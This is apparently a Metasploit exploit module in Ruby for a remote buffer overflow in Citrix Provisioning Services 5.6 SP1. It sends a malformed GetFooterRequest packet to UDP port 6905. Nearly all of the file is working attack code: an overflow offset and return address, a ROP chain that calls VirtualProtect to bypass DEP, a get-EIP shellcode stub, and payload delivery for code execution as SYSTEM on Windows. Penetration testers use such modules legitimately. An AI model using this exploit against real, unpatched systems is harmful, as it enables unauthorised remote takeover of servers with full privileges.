116 lines
3.8 KiB
Ruby
116 lines
3.8 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020002 Buffer Overflow',
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'Description' => %q{
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This module exploits a remote buffer overflow in the Citrix Provisioning Services
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5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode
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0x40020002 (GetFooterRequest) to the 6905/UDP port. The module, which allows code execution
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under the context of SYSTEM, has been successfully tested on Windows Server 2003 SP2
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and Windows XP SP3.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'alino <26alino[at]gmail.com>', # citrix_streamprocess_data_msg author
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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['OSVDB', '75780'],
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['BID', '49803'],
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['URL', 'http://support.citrix.com/article/CTX130846']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Payload' =>
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{
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'BadChars' => "\x00",
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'EncoderOptions' => {'BufferRegister'=>'ECX'},
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},
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'Platform' => ['win'],
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'Targets' =>
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[
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[ 'Citrix Provisioning Services 5.6 SP1',
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{
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'Offset' => 5596,
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'Ret' => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe
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}
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]
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],
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'Privileged' => true,
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'DisclosureDate' => 'Nov 04 2011', #CTX130846 creation date
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'DefaultTarget' => 0))
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register_options([Opt::RPORT(6905)], self.class)
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end
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def exploit
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packet = "\x02\x00\x02\x40" # DATA MSG
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packet << rand_text_alpha_upper(18)
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packet << "\x00\x00\x00\x00" # Length
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packet << rand_text_alpha_upper(target['Offset'])
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packet << [target.ret].pack('V')
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rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe
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rop_gadgets =
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[
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0x0045b141, # POP EAX; RETN streamprocess.exe
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0x1009a1bc, # VirtualProtect()
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0x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe
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0x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe
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0x004ad0cf, # POP EBP; RETN streamprocess.exe
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0x00455d9d, # PUSH ESP; RETN streamprocess.exe
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0x00497f5a, # POP EAX; RETN streamprocess.exe
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0xfffff9d0, # dwSize
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0x00447669, # NEG EAX; RETN streamprocess.exe
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0x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe
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0x00426305, # POP ECX; RETN streamprocess.exe
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0x00671fb9, # lpflOldProtect
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0x004e41e6, # POP EDI; RETN streamprocess.exe
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0x0040f004, # RETN streamprocess.exe
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0x00495c05, # POP EAX; RETN streamprocess.exe
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0xffffffc0, # flNewProtect
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0x0042c79a, # NEG EAX; RETN streamprocess.exe
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0x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe
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0x0045c1fa, # POP EAX; RETN streamprocess.exe
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0x90909090, # NOP
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0x00435bbe, # PUSHAD; RETN streamprocess.exe
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].pack("V*")
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packet[398, rop_nop.length] = rop_nop
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packet[550, rop_gadgets.length] = rop_gadgets
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# Put payload address in ecx
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geteip = "\xeb\x03" # jmp short 0x5
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geteip << "\x59" # pop ecx
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geteip << "\xff\xd1" # call ecx
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geteip << "\xe8\xf8\xff\xff\xff" # call to "pop / call"
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packet[634, 10] = geteip
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packet[644, payload.encoded.length] = payload.encoded
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print_status("Trying target #{target.name}...")
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connect_udp
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udp_sock.put(packet)
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handler
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disconnect_udp
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end
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end
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